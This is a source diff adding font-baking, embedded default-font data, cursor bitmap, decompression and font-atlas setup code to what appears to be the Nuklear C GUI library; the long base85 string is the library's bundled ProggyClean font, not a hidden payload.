/* fill own glyph type with data */ + glyph = &glyphs[dst_font->glyph_offset + dst_font->glyph_count + (unsigned int)glyph_count]; + glyph->codepoint = codepoint; + glyph->x0 = q.x0; glyph->y0 = q.y0; + glyph->x1 = q.x1; glyph->y1 = q.y1; + glyph->y0 += (dst_font->ascent + 0.5f); + glyph->y1 += (dst_font->ascent + 0.5f); + glyph->w = glyph->x1 - glyph->x0 + 0.5f; + glyph->h = glyph->y1 - glyph->y0; + + if (cfg->coord_type == NK_COORD_PIXEL) { + glyph->u0 = q.s0 * (float)width; + glyph->v0 = q.t0 * (float)height; + glyph->u1 = q.s1 * (float)width; + glyph->v1 = q.t1 * (float)height; + } else { + glyph->u0 = q.s0; + glyph->v0 = q.t0; + glyph->u1 = q.s1; + glyph->v1 = q.t1; + } + glyph->xadvance = (pc->xadvance + cfg->spacing.x); + if (cfg->pixel_snap) + glyph->xadvance = (float)(int)(glyph->xadvance + 0.5f); + glyph_count++; + } + } + dst_font->glyph_count += glyph_count; + glyph_n += glyph_count; + } while ((it = it->n) != config_iter); + } +} +NK_INTERN void +nk_font_bake_custom_data(void *img_memory, int img_width, int img_height, + struct nk_recti img_dst, const char *texture_data_mask, int tex_width, + int tex_height, char white, char black) +{ + nk_byte *pixels; + int y = 0; + int x = 0; + int n = 0; + + NK_ASSERT(img_memory); + NK_ASSERT(img_width); + NK_ASSERT(img_height); + NK_ASSERT(texture_data_mask); + NK_UNUSED(tex_height); + if (!img_memory || !img_width || !img_height || !texture_data_mask) + return; + + pixels = (nk_byte*)img_memory; + for (y = 0, n = 0; y < tex_height; ++y) { + for (x = 0; x < tex_width; ++x, ++n) { + const int off0 = ((img_dst.x + x) + (img_dst.y + y) * img_width); + const int off1 = off0 + 1 + tex_width; + pixels[off0] = (texture_data_mask[n] == white) ? 0xFF : 0x00; + pixels[off1] = (texture_data_mask[n] == black) ? 0xFF : 0x00; + } + } +} +NK_INTERN void +nk_font_bake_convert(void *out_memory, int img_width, int img_height, + const void *in_memory) +{ + int n = 0; + nk_rune *dst; + const nk_byte *src; + + NK_ASSERT(out_memory); + NK_ASSERT(in_memory); + NK_ASSERT(img_width); + NK_ASSERT(img_height); + if (!out_memory || !in_memory || !img_height || !img_width) return; + + dst = (nk_rune*)out_memory; + src = (const nk_byte*)in_memory; + for (n = (int)(img_width * img_height); n > 0; n--) + *dst++ = ((nk_rune)(*src++) << 24) | 0x00FFFFFF; +} + +/* ------------------------------------------------------------- + * + * FONT + * + * --------------------------------------------------------------*/ +NK_INTERN float +nk_font_text_width(nk_handle handle, float height, const char *text, int len) +{ + nk_rune unicode; + int text_len = 0; + float text_width = 0; + int glyph_len = 0; + float scale = 0; + + struct nk_font *font = (struct nk_font*)handle.ptr; + NK_ASSERT(font); + NK_ASSERT(font->glyphs); + if (!font || !text || !len) + return 0; + + scale = height/font->info.height; + glyph_len = text_len = nk_utf_decode(text, &unicode, (int)len); + if (!glyph_len) return 0; + while (text_len <= (int)len && glyph_len) { + const struct nk_font_glyph *g; + if (unicode == NK_UTF_INVALID) break; + + /* query currently drawn glyph information */ + g = nk_font_find_glyph(font, unicode); + text_width += g->xadvance * scale; + + /* offset next glyph */ + glyph_len = nk_utf_decode(text + text_len, &unicode, (int)len - text_len); + text_len += glyph_len; + } + return text_width; +} +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT +NK_INTERN void +nk_font_query_font_glyph(nk_handle handle, float height, + struct nk_user_font_glyph *glyph, nk_rune codepoint, nk_rune next_codepoint) +{ + float scale; + const struct nk_font_glyph *g; + struct nk_font *font; + + NK_ASSERT(glyph); + NK_UNUSED(next_codepoint); + + font = (struct nk_font*)handle.ptr; + NK_ASSERT(font); + NK_ASSERT(font->glyphs); + if (!font || !glyph) + return; + + scale = height/font->info.height; + g = nk_font_find_glyph(font, codepoint); + glyph->width = (g->x1 - g->x0) * scale; + glyph->height = (g->y1 - g->y0) * scale; + glyph->offset = nk_vec2(g->x0 * scale, g->y0 * scale); + glyph->xadvance = (g->xadvance * scale); + glyph->uv[0] = nk_vec2(g->u0, g->v0); + glyph->uv[1] = nk_vec2(g->u1, g->v1); +} +#endif +NK_API const struct nk_font_glyph* +nk_font_find_glyph(struct nk_font *font, nk_rune unicode) +{ + int i = 0; + int count; + int total_glyphs = 0; + const struct nk_font_glyph *glyph = 0; + const struct nk_font_config *iter = 0; + + NK_ASSERT(font); + NK_ASSERT(font->glyphs); + NK_ASSERT(font->info.ranges); + if (!font || !font->glyphs) return 0; + + glyph = font->fallback; + iter = font->config; + do {count = nk_range_count(iter->range); + for (i = 0; i < count; ++i) { + nk_rune f = iter->range[(i*2)+0]; + nk_rune t = iter->range[(i*2)+1]; + int diff = (int)((t - f) + 1); + if (unicode >= f && unicode <= t) + return &font->glyphs[((nk_rune)total_glyphs + (unicode - f))]; + total_glyphs += diff; + } + } while ((iter = iter->n) != font->config); + return glyph; +} +NK_INTERN void +nk_font_init(struct nk_font *font, float pixel_height, + nk_rune fallback_codepoint, struct nk_font_glyph *glyphs, + const struct nk_baked_font *baked_font, nk_handle atlas) +{ + struct nk_baked_font baked; + NK_ASSERT(font); + NK_ASSERT(glyphs); + NK_ASSERT(baked_font); + if (!font || !glyphs || !baked_font) + return; + + baked = *baked_font; + font->fallback = 0; + font->info = baked; + font->scale = (float)pixel_height / (float)font->info.height; + font->glyphs = &glyphs[baked_font->glyph_offset]; + font->texture = atlas; + font->fallback_codepoint = fallback_codepoint; + font->fallback = nk_font_find_glyph(font, fallback_codepoint); + + font->handle.height = font->info.height * font->scale; + font->handle.width = nk_font_text_width; + font->handle.userdata.ptr = font; +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT + font->handle.query = nk_font_query_font_glyph; + font->handle.texture = font->texture; +#endif +} + +/* --------------------------------------------------------------------------- + * + * DEFAULT FONT + * + * ProggyClean.ttf + * Copyright (c) 2004, 2005 Tristan Grimmer + * MIT license (see License.txt in http://www.upperbounds.net/download/ProggyClean.ttf.zip) + * Download and more information at http://upperbounds.net + *-----------------------------------------------------------------------------*/ +#ifdef __clang__ +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Woverlength-strings" +#elif defined(__GNUC__) || defined(__GNUG__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Woverlength-strings" +#endif + +#ifdef NK_INCLUDE_DEFAULT_FONT + +NK_GLOBAL const char nk_proggy_clean_ttf_compressed_data_base85[11980+1] = + "7])#######hV0qs'/###[),##/l:$#Q6>##5[n42>c-TH`->>#/e>11NNV=Bv(*:.F?uu#(gRU.o0XGH`$vhLG1hxt9?W`#,5LsCp#-i>.r$<$6pD>Lb';9Crc6tgXmKVeU2cD4Eo3R/" + "2*>]b(MC;$jPfY.;h^`IWM9Qo#t'X#(v#Y9w0#1D$CIf;W'#pWUPXOuxXuU(H9M(1=Ke$$'5F%)]0^#0X@U.a$FBjVQTSDgEKnIS7EM9>ZY9w0#L;>>#Mx&4Mvt//L[MkA#W@lK.N'[0#7RL_&#w+F%HtG9M#XL`N&.,GM4Pg;--VsM.M0rJfLH2eTM`*oJMHRC`N" + "kfimM2J,W-jXS:)r0wK#@Fge$U>`w'N7G#$#fB#$E^$#:9:hk+eOe--6x)F7*E%?76%^GMHePW-Z5l'&GiF#$956:rS?dA#fiK:)Yr+`�j@'DbG&#^$PG.Ll+DNa&VZ>1i%h1S9u5o@YaaW$e+bROPOpxTO7Stwi1::iB1q)C_=dV26J;2,]7op$]uQr@_V7$q^%lQwtuHY]=DX,n3L#0PHDO4f9>dC@O>HBuKPpP*E,N+b3L#lpR/MrTEH.IAQk.a>D[.e;mc." + "x]Ip.PH^'/aqUO/$1WxLoW0[iLAw=4h(9.`G" + "CRUxHPeR`5Mjol(dUWxZa(>STrPkrJiWx`5U7F#.g*jrohGg`cg:lSTvEY/EV_7H4Q9[Z%cnv;JQYZ5q.l7Zeas:HOIZOB?Ggv:[7MI2k).'2($5FNP&EQ(,)" + "U]W]+fh18.vsai00);D3@4ku5P?DP8aJt+;qUM]=+b'8@;mViBKx0DE[-auGl8:PJ&Dj+M6OC]O^((##]`0i)drT;-7X`=-H3[igUnPG-NZlo.#k@h#=Ork$m>a>$-?Tm$UV(?#P6YY#" + "'/###xe7q.73rI3*pP/$1>s9)W,JrM7SN]'/4C#v$U`0#V.[0>xQsH$fEmPMgY2u7Kh(G%siIfLSoS+MK2eTM$=5,M8p`A.;_R%#u[K#$x4AG8.kK/HSB==-'Ie/QTtG?-.*^N-4B/ZM" + "_3YlQC7(p7q)&](`6_c)$/*JL(L-^(]$wIM`dPtOdGA,U3:w2M-0+WomX2u7lqM2iEumMTcsF?-aT=Z-97UEnXglEn1K-bnEO`gu" + "Ft(c%=;Am_Qs@jLooI&NX;]0#j4#F14;gl8-GQpgwhrq8'=l_f-b49'UOqkLu7-##oDY2L(te+Mch&gLYtJ,MEtJfLh'x'M=$CS-ZZ%P]8bZ>#S?YY#%Q&q'3^Fw&?D)UDNrocM3A76/" + "/oL?#h7gl85[qW/NDOk%16ij;+:1a'iNIdb-ou8.P*w,v5#EI$TWS>Pot-R*H'-SEpA:g)f+O$%%`kA#G=8RMmG1&O`>to8bC]T&$,n.LoO>29sp3dt-52U%VM#q7'DHpg+#Z9%H[Ket`e;)f#Km8&+DC$I46>#Kr]]u-[=99tts1.qb#q72g1WJO81q+eN'03'eM>&1XxY-caEnO" + "j%2n8)),?ILR5^.Ibn<-X-Mq7[a82Lq:F&#ce+S9wsCK*x`569E8ew'He]h:sI[2LM$[guka3ZRd6:t%IG:;$%YiJ:Nq=?eAw;/:nnDq0(CYcMpG)qLN4$##&J-XTt,%OVU4)S1+R-#dg0/Nn?Ku1^0f$B*P:Rowwm-`0PKjYDDM'3]d39VZHEl4,.j']Pk-M.h^&:0FACm$maq-&sgw0t7/6(^xtk%" + "LuH88Fj-ekm>GA#_>568x6(OFRl-IZp`&b,_P'$MhLbxfc$mj`,O;&%W2m`Zh:/)Uetw:aJ%]K9h:TcF]u_-Sj9,VK3M.*'&0D[Ca]J9gp8,kAW]" + "%(?A%R$f<->Zts'^kn=-^@c4%-pY6qI%J%1IGxfLU9CP8cbPlXv);C=b),<2mOvP8up,UVf3839acAWAW-W?#ao/^#%KYo8fRULNd2.>%m]UK:n%r$'sw]J;5pAoO_#2mO3n,'=H5(et" + "Hg*`+RLgv>=4U8guD$I%D:W>-r5V*%j*W:Kvej.Lp$'?;++O'>()jLR-^u68PHm8ZFWe+ej8h:9r6L*0//c&iH&R8pRbA#Kjm%upV1g:" + "a_#Ur7FuA#(tRh#.Y5K+@?3<-8m0$PEn;J:rh6?I6uG<-`wMU'ircp0LaE_OtlMb&1#6T.#FDKu#1Lw%u%+GM+X'e?YLfjM[VO0MbuFp7;>Q&#WIo)0@F%q7c#4XAXN-U&VBpqB>0ie&jhZ[?iLR@@_AvA-iQC(=ksRZRVp7`.=+NpBC%rh&3]R:8XDmE5^V8O(x<-+k?'(^](H.aREZSi,#1:[IXaZFOm<-ui#qUq2$##Ri;u75OK#(RtaW-K-F`S+cF]uN`-KMQ%rP/Xri.LRcB##=YL3BgM/3M" + "D?@f&1'BW-)Ju#bmmWCMkk&#TR`C,5d>g)F;t,4:@_l8G/5h4vUd%&%950:VXD'QdWoY-F$BtUwmfe$YqL'8(PWX(" + "P?^@Po3$##`MSs?DWBZ/S>+4%>fX,VWv/w'KD`LP5IbH;rTV>n3cEK8U#bX]l-/V+^lj3;vlMb&[5YQ8#pekX9JP3XUC72L,,?+Ni&co7ApnO*5NK,((W-i:$,kp'UDAO(G0Sq7MVjJs" + "bIu)'Z,*[>br5fX^:FPAWr-m2KgLQ_nN6'8uTGT5g)uLv:873UpTLgH+#FgpH'_o1780Ph8KmxQJ8#H72L4@768@Tm&Q" + "h4CB/5OvmA&,Q&QbUoi$a_%3M01H)4x7I^&KQVgtFnV+;[Pc>[m4k//,]1?#`VY[Jr*3&&slRfLiVZJ:]?=K3Sw=[$=uRB?3xk48@aege0jT6'N#(q%.O=?2S]u*(m<-" + "V8J'(1)G][68hW$5'q[GC&5j`TE?m'esFGNRM)j,ffZ?-qx8;->g4t*:CIP/[Qap7/9'#(1sao7w-.qNUdkJ)tCF&#B^;xGvn2r9FEPFFFcL@.iFNkTve$m%#QvQS8U@)2Z+3K:AKM5i" + "sZ88+dKQ)W6>J%CL`.d*(B`-n8D9oK-XV1q['-5k'cAZ69e;D_?$ZPP&s^+7])$*$#@QYi9,5P r+$%CE=68>K8r0=dSC%%(@p7" + ".m7jilQ02'0-VWAgTlGW'b)Tq7VT9q^*^$$.:&N@@" + "$&)WHtPm*5_rO0&e%K&#-30j(E4#'Zb.o/(Tpm$>K'f@[PvFl,hfINTNU6u'0pao7%XUp9]5.>%h`8_=VYbxuel.NTSsJfLacFu3B'lQSu/m6-Oqem8T+oE--$0a/k]uj9EwsG>%veR*" + "hv^BFpQj:K'#SJ,sB-'#](j.Lg92rTw-*n%@/;39rrJF,l#qV%OrtBeC6/,;qB3ebNW[?,Hqj2L.1NP&GjUR=1D8QaS3Up&@*9wP?+lo7b?@%'k4`p0Z$22%K3+iCZj?XJN4Nm&+YF]u" + "@-W$U%VEQ/,,>>#)D#%8cY#YZ?=,`Wdxu/ae&#" + "w6)R89tI#6@s'(6Bf7a&?S=^ZI_kS&ai`&=tE72L_D,;^R)7[$so8lKN%5/$(vdfq7+ebA#" + "u1p]ovUKW&Y%q]'>$1@-[xfn$7ZTp7mM,G,Ko7a&Gu%G[RMxJs[0MM%wci.LFDK)(%:_i2B5CsR8&9Z&#=mPEnm0f`<&c)QL5uJ#%u%lJj+D-r;BoFDoS97h5g)E#o:&S4weDF,9^Hoe`h*L+_a*NrLW-1pG_&2UdB8" + "6e%B/:=>)N4xeW.*wft-;$'58-ESqr#U`'6AQ]m&6/`Z>#S?YY#Vc;r7U2&326d=w&H####?TZ`*4?&.MK?LP8Vxg>$[QXc%QJv92.(Db*B)gb*BM9dM*hJMAo*c&#" + "b0v=Pjer]$gG&JXDf->'StvU7505l9$AFvgYRI^&<^b68?j#q9QX4SM'RO#&sL1IM.rJfLUAj221]d##DW=m83u5;'bYx,*Sl0hL(W;;$doB&O/TQ:(Z^xBdLjLV#*8U_72Lh+2Q8Cj0i:6hp&$C/:p(HK>T8Y[gHQ4`4)'$Ab(Nof%V'8hL&#SfD07&6D@M.*J:;$-rv29'M]8qMv-tLp,'886iaC=Hb*YJoKJ,(j%K=H`K.v9HggqBIiZu'QvBT.#=)0ukruV&.)3=(^1`o*Pj4<-#MJ+gLq9-##@HuZPN0]u:h7.T..G:;$/Usj(T7`Q8tT72LnYl<-qx8;-HV7Q-&Xdx%1a,hC=0u+HlsV>nuIQL-5" + "_>@kXQtMacfD.m-VAb8;IReM3$wf0''hra*so568'Ip&vRs849'MRYSp%:t:h5qSgwpEr$B>Q,;s(C#$)`svQuF$##-D,##,g68@2[T;.XSdN9Qe)rpt._K-#5wF)sP'##p#C0c%-Gb%" + "hd+<-j'Ai*x&&HMkT]C'OSl##5RG[JXaHN;d'uA#x._U;.`PU@(Z3dt4r152@:v,'R.Sj'w#0<-;kPI)FfJ&#AYJ&#//)>-k=m=*XnK$>=)72L]0I%>.G690a:$##<,);?;72#?x9+d;" + "^V'9;jY@;)br#q^YQpx:X#Te$Z^'=-=bGhLf:D6&bNwZ9-ZD#n^9HhLMr5G;']d&6'wYmTFmLq9wI>P(9mI[>kC-ekLC/R&CH+s'B;K-M6$EB%is00:" + "+A4[7xks.LrNk0&E)wILYF@2L'0Nb$+pv<(2.768/FrY&h$^3i&@+G%JT'<-,v`3;_)I9M^AE]CN?Cl2AZg+%4iTpT3$U4O]GKx'm9)b@p7YsvK3w^YR-" + "CdQ*:Ir<($u&)#(&?L9Rg3H)4fiEp^iI9O8KnTj,]H?D*r7'M;PwZ9K0E^k&-cpI;.p/6_vwoFMV<->#%Xi.LxVnrU(4&8/P+:hLSKj$#U%]49t'I:rgMi'FL@a:0Y-uA[39',(vbma*" + "hU%<-SRF`Tt:542R_VV$p@[p8DV[A,?1839FWdFTi1O*H&#(AL8[_P%.M>v^-))qOT*F5Cq0`Ye%+$B6i:7@0IXSsDiWP,##P`%/L-" + "S(qw%sf/@%#B6;/U7K]uZbi^Oc^2n%t<)'mEVE''n`WnJra$^TKvX5B>;_aSEK',(hwa0:i4G?.Bci.(X[?b*($,=-n<.Q%`(X=?+@Am*Js0&=3bh8K]mL69=Lb,OcZV/);TTm8VI;?%OtJ<(b4mq7M6:u?KRdFl*:xP?Yb.5)%w_I?7uk5JC+FS(m#i'k.'a0i)9<7b'fs'59hq$*5Uhv##pi^8+hIEBF`nvo`;'l0.^S1<-wUK2/Coh58KKhLj" + "M=SO*rfO`+qC`W-On.=AJ56>>i2@2LH6A:&5q`?9I3@@'04&p2/LVa*T-4<-i3;M9UvZd+N7>b*eIwg:CC)c<>nO&#$(>.Z-I&J(Q0Hd5Q%7Co-b`-cP)hI;*_F]u`Rb[.j8_Q/<&>uu+VsH$sM9TA%?)(vmJ80),P7E>)tjD%2L=-t#fK[%`v=Q8WlA2);Sa" + ">gXm8YB`1d@K#n]76-a$U,mF%Ul:#/'xoFM9QX-$.QN'>" + "[%$Z$uF6pA6Ki2O5:8w*vP1<-1`[G,)-m#>0`P&#eb#.3i)rtB61(o'$?X3B2Qft^ae_5tKL9MUe9b*sLEQ95C&`=G?@Mj=wh*'3E>=-<)Gt*Iw)'QG:`@I" + "wOf7&]1i'S01B+Ev/Nac#9S;=;YQpg_6U`*kVY39xK,[/6Aj7:'1Bm-_1EYfa1+o&o4hp7KN_Q(OlIo@S%;jVdn0'1h19w,WQhLI)3S#f$2(eb,jr*b;3Vw]*7NH%$c4Vs,eD9>XW8?N]o+(*pgC%/72LV-uW%iewS8W6m2rtCpo'RS1R84=@paTKt)>=%&1[)*vp'u+x,VrwN;&]kuO9JDbg=pO$J*.jVe;u'm0dr9l,<*wMK*Oe=g8lV_KEBFkO'oU]^=[-792#ok,)" + "i]lR8qQ2oA8wcRCZ^7w/Njh;?.stX?Q1>S1q4Bn$)K1<-rGdO'$Wr.Lc.CG)$/*JL4tNR/,SVO3,aUw'DJN:)Ss;wGn9A32ijw%FL+Z0Fn.U9;reSq)bmI32U==5ALuG&#Vf1398/pVo" + "1*c-(aY168o<`JsSbk-,1N;$>0:OUas(3:8Z972LSfF8eb=c-;>SPw7.6hn3m`9^Xkn(r.qS[0;T%&Qc=+STRxX'q1BNk3&*eu2;&8q$&x>Q#Q7^Tf+6<(d%ZVmj2bDi%.3L2n+4W'$P" + "iDDG)g,r%+?,$@?uou5tSe2aN_AQU*'IAO" + "URQ##V^Fv-XFbGM7Fl(N<3DhLGF%q.1rC$#:T__&Pi68%0xi_&[qFJ(77j_&JWoF.V735&T,[R*:xFR*K5>>#`bW-?4Ne_&6Ne_&6Ne_&n`kr-#GJcM6X;uM6X;uM(.a..^2TkL%oR(#" + ";u.T%fAr%4tJ8&><1=GHZ_+m9/#H1F^R#SC#*N=BA9(D?v[UiFY>>^8p,KKF.W]L29uLkLlu/+4T" + "w$)F./^n3+rlo+DB;5sIYGNk+i1t-69Jg--0pao7Sm#K)pdHW&;LuDNH@H>#/X-TI(;P>#,Gc>#0Su>#4`1?#8lC?#xL$#B.`$#F:r$#JF.%#NR@%#R_R%#Vke%#Zww%#_-4^Rh%Sflr-k'MS.o?.5/sWel/wpEM0%3'/1)K^f1-d>G21&v(35>V`39V7A4=onx4" + "A1OY5EI0;6Ibgr6M$HS7Q<)58C5w,;WoA*#[%T*#`1g*#d=#+#hI5+#lUG+#pbY+#tnl+#x$),#&1;,#*=M,#.I`,#2Ur,#6b.-#;w[H#iQtA#m^0B#qjBB#uvTB##-hB#'9$C#+E6C#" + "/QHC#3^ZC#7jmC#;v)D#?,)4kMYD4lVu`4m`:&5niUA5@(A5BA1]PBB:xlBCC=2CDLXMCEUtiCf&0g2'tN?PGT4CPGT4CPGT4CPGT4CPGT4CPGT4CPGT4CP" + "GT4CPGT4CPGT4CPGT4CPGT4CPGT4CP-qekC`.9kEg^+F$kwViFJTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5o,^<-28ZI'O?;xp" + "O?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xp;7q-#lLYI:xvD=#"; + +#endif /* NK_INCLUDE_DEFAULT_FONT */ + +#define NK_CURSOR_DATA_W 90 +#define NK_CURSOR_DATA_H 27 +NK_GLOBAL const char nk_custom_cursor_data[NK_CURSOR_DATA_W * NK_CURSOR_DATA_H + 1] = +{ + "..- -XXXXXXX- X - X -XXXXXXX - XXXXXXX" + "..- -X.....X- X.X - X.X -X.....X - X.....X" + "--- -XXX.XXX- X...X - X...X -X....X - X....X" + "X - X.X - X.....X - X.....X -X...X - X...X" + "XX - X.X -X.......X- X.......X -X..X.X - X.X..X" + "X.X - X.X -XXXX.XXXX- XXXX.XXXX -X.X X.X - X.X X.X" + "X..X - X.X - X.X - X.X -XX X.X - X.X XX" + "X...X - X.X - X.X - XX X.X XX - X.X - X.X " + "X....X - X.X - X.X - X.X X.X X.X - X.X - X.X " + "X.....X - X.X - X.X - X..X X.X X..X - X.X - X.X " + "X......X - X.X - X.X - X...XXXXXX.XXXXXX...X - X.X XX-XX X.X " + "X.......X - X.X - X.X -X.....................X- X.X X.X-X.X X.X " + "X........X - X.X - X.X - X...XXXXXX.XXXXXX...X - X.X..X-X..X.X " + "X.........X -XXX.XXX- X.X - X..X X.X X..X - X...X-X...X " + "X..........X-X.....X- X.X - X.X X.X X.X - X....X-X....X " + "X......XXXXX-XXXXXXX- X.X - XX X.X XX - X.....X-X.....X " + "X...X..X --------- X.X - X.X - XXXXXXX-XXXXXXX " + "X..X X..X - -XXXX.XXXX- XXXX.XXXX ------------------------------------" + "X.X X..X - -X.......X- X.......X - XX XX - " + "XX X..X - - X.....X - X.....X - X.X X.X - " + " X..X - X...X - X...X - X..X X..X - " + " XX - X.X - X.X - X...XXXXXXXXXXXXX...X - " + "------------ - X - X -X.....................X- " + " ----------------------------------- X...XXXXXXXXXXXXX...X - " + " - X..X X..X - " + " - X.X X.X - " + " - XX XX - " +}; + +#ifdef __clang__ +#pragma clang diagnostic pop +#elif defined(__GNUC__) || defined(__GNUG__) +#pragma GCC diagnostic pop +#endif + +NK_GLOBAL unsigned char *nk__barrier; +NK_GLOBAL unsigned char *nk__barrier2; +NK_GLOBAL unsigned char *nk__barrier3; +NK_GLOBAL unsigned char *nk__barrier4; +NK_GLOBAL unsigned char *nk__dout; + +NK_INTERN unsigned int +nk_decompress_length(unsigned char *input) +{ + return (unsigned int)((input[8] << 24) + (input[9] << 16) + (input[10] << 8) + input[11]); +} +NK_INTERN void +nk__match(unsigned char *data, unsigned int length) +{ + /* INVERSE of memmove... write each byte before copying the next...*/ + NK_ASSERT (nk__dout + length <= nk__barrier); + if (nk__dout + length > nk__barrier) { nk__dout += length; return; } + if (data < nk__barrier4) { nk__dout = nk__barrier+1; return; } + while (length--) *nk__dout++ = *data++; +} +NK_INTERN void +nk__lit(unsigned char *data, unsigned int length) +{ + NK_ASSERT (nk__dout + length <= nk__barrier); + if (nk__dout + length > nk__barrier) { nk__dout += length; return; } + if (data < nk__barrier2) { nk__dout = nk__barrier+1; return; } + NK_MEMCPY(nk__dout, data, length); + nk__dout += length; +} +NK_INTERN unsigned char* +nk_decompress_token(unsigned char *i) +{ + #define nk__in2(x) ((i[x] << 8) + i[(x)+1]) + #define nk__in3(x) ((i[x] << 16) + nk__in2((x)+1)) + #define nk__in4(x) ((i[x] << 24) + nk__in3((x)+1)) + + if (*i >= 0x20) { /* use fewer if's for cases that expand small */ + if (*i >= 0x80) nk__match(nk__dout-i[1]-1, (unsigned int)i[0] - 0x80 + 1), i += 2; + else if (*i >= 0x40) nk__match(nk__dout-(nk__in2(0) - 0x4000 + 1), (unsigned int)i[2]+1), i += 3; + else /* *i >= 0x20 */ nk__lit(i+1, (unsigned int)i[0] - 0x20 + 1), i += 1 + (i[0] - 0x20 + 1); + } else { /* more ifs for cases that expand large, since overhead is amortized */ + if (*i >= 0x18) nk__match(nk__dout-(unsigned int)(nk__in3(0) - 0x180000 + 1), (unsigned int)i[3]+1), i += 4; + else if (*i >= 0x10) nk__match(nk__dout-(unsigned int)(nk__in3(0) - 0x100000 + 1), (unsigned int)nk__in2(3)+1), i += 5; + else if (*i >= 0x08) nk__lit(i+2, (unsigned int)nk__in2(0) - 0x0800 + 1), i += 2 + (nk__in2(0) - 0x0800 + 1); + else if (*i == 0x07) nk__lit(i+3, (unsigned int)nk__in2(1) + 1), i += 3 + (nk__in2(1) + 1); + else if (*i == 0x06) nk__match(nk__dout-(unsigned int)(nk__in3(1)+1), i[4]+1u), i += 5; + else if (*i == 0x04) nk__match(nk__dout-(unsigned int)(nk__in3(1)+1), (unsigned int)nk__in2(4)+1u), i += 6; + } + return i; +} +NK_INTERN unsigned int +nk_adler32(unsigned int adler32, unsigned char *buffer, unsigned int buflen) +{ + const unsigned long ADLER_MOD = 65521; + unsigned long s1 = adler32 & 0xffff, s2 = adler32 >> 16; + unsigned long blocklen, i; + + blocklen = buflen % 5552; + while (buflen) { + for (i=0; i + 7 < blocklen; i += 8) { + s1 += buffer[0]; s2 += s1; + s1 += buffer[1]; s2 += s1; + s1 += buffer[2]; s2 += s1; + s1 += buffer[3]; s2 += s1; + s1 += buffer[4]; s2 += s1; + s1 += buffer[5]; s2 += s1; + s1 += buffer[6]; s2 += s1; + s1 += buffer[7]; s2 += s1; + buffer += 8; + } + for (; i < blocklen; ++i) { + s1 += *buffer++; s2 += s1; + } + + s1 %= ADLER_MOD; s2 %= ADLER_MOD; + buflen -= (unsigned int)blocklen; + blocklen = 5552; + } + return (unsigned int)(s2 << 16) + (unsigned int)s1; +} +NK_INTERN unsigned int +nk_decompress(unsigned char *output, unsigned char *i, unsigned int length) +{ + unsigned int olen; + if (nk__in4(0) != 0x57bC0000) return 0; + if (nk__in4(4) != 0) return 0; /* error! stream is > 4GB */ + olen = nk_decompress_length(i); + nk__barrier2 = i; + nk__barrier3 = i+length; + nk__barrier = output + olen; + nk__barrier4 = output; + i += 16; + + nk__dout = output; + for (;;) { + unsigned char *old_i = i; + i = nk_decompress_token(i); + if (i == old_i) { + if (*i == 0x05 && i[1] == 0xfa) { + NK_ASSERT(nk__dout == output + olen); + if (nk__dout != output + olen) return 0; + if (nk_adler32(1, output, olen) != (unsigned int) nk__in4(2)) + return 0; + return olen; + } else { + NK_ASSERT(0); /* NOTREACHED */ + return 0; + } + } + NK_ASSERT(nk__dout <= output + olen); + if (nk__dout > output + olen) + return 0; + } +} +NK_INTERN unsigned int +nk_decode_85_byte(char c) +{ + return (unsigned int)((c >= '\\') ? c-36 : c-35); +} +NK_INTERN void +nk_decode_85(unsigned char* dst, const unsigned char* src) +{ + while (*src) + { + unsigned int tmp = + nk_decode_85_byte((char)src[0]) + + 85 * (nk_decode_85_byte((char)src[1]) + + 85 * (nk_decode_85_byte((char)src[2]) + + 85 * (nk_decode_85_byte((char)src[3]) + + 85 * nk_decode_85_byte((char)src[4])))); + + /* we can't assume little-endianess. */ + dst[0] = (unsigned char)((tmp >> 0) & 0xFF); + dst[1] = (unsigned char)((tmp >> 8) & 0xFF); + dst[2] = (unsigned char)((tmp >> 16) & 0xFF); + dst[3] = (unsigned char)((tmp >> 24) & 0xFF); + + src += 5; + dst += 4; + } +} + +/* ------------------------------------------------------------- + * + * FONT ATLAS + * + * --------------------------------------------------------------*/ +NK_API struct nk_font_config +nk_font_config(float pixel_height) +{ + struct nk_font_config cfg; + nk_zero_struct(cfg); + cfg.ttf_blob = 0; + cfg.ttf_size = 0; + cfg.ttf_data_owned_by_atlas = 0; + cfg.size = pixel_height; + cfg.oversample_h = 3; + cfg.oversample_v = 1; + cfg.pixel_snap = 0; + cfg.coord_type = NK_COORD_UV; + cfg.spacing = nk_vec2(0,0); + cfg.range = nk_font_default_glyph_ranges(); + cfg.merge_mode = 0; + cfg.fallback_glyph = '?'; + cfg.font = 0; + cfg.n = 0; + return cfg; +} +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_API void +nk_font_atlas_init_default(struct nk_font_atlas *atlas) +{ + NK_ASSERT(atlas); + if (!atlas) return; + nk_zero_struct(*atlas); + atlas->temporary.userdata.ptr = 0; + atlas->temporary.alloc = nk_malloc; + atlas->temporary.free = nk_mfree; + atlas->permanent.userdata.ptr = 0; + atlas->permanent.alloc = nk_malloc; + atlas->permanent.free = nk_mfree; +} +#endif +NK_API void +nk_font_atlas_init(struct nk_font_atlas *atlas, struct nk_allocator *alloc) +{ + NK_ASSERT(atlas); + NK_ASSERT(alloc); + if (!atlas || !alloc) return; + nk_zero_struct(*atlas); + atlas->permanent = *alloc; + atlas->temporary = *alloc; +} +NK_API void +nk_font_atlas_init_custom(struct nk_font_atlas *atlas, + struct nk_allocator *permanent, struct nk_allocator *temporary) +{ + NK_ASSERT(atlas); + NK_ASSERT(permanent); + NK_ASSERT(temporary); + if (!atlas || !permanent || !temporary) return; + nk_zero_struct(*atlas); + atlas->permanent = *permanent; + atlas->temporary = *temporary; +} +NK_API void +nk_font_atlas_begin(struct nk_font_atlas *atlas) +{ + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc && atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc && atlas->permanent.free); + if (!atlas || !atlas->permanent.alloc || !atlas->permanent.free || + !atlas->temporary.alloc || !atlas->temporary.free) return; + if (atlas->glyphs) { + atlas->permanent.free(atlas->permanent.userdata, atlas->glyphs); + atlas->glyphs = 0; + } 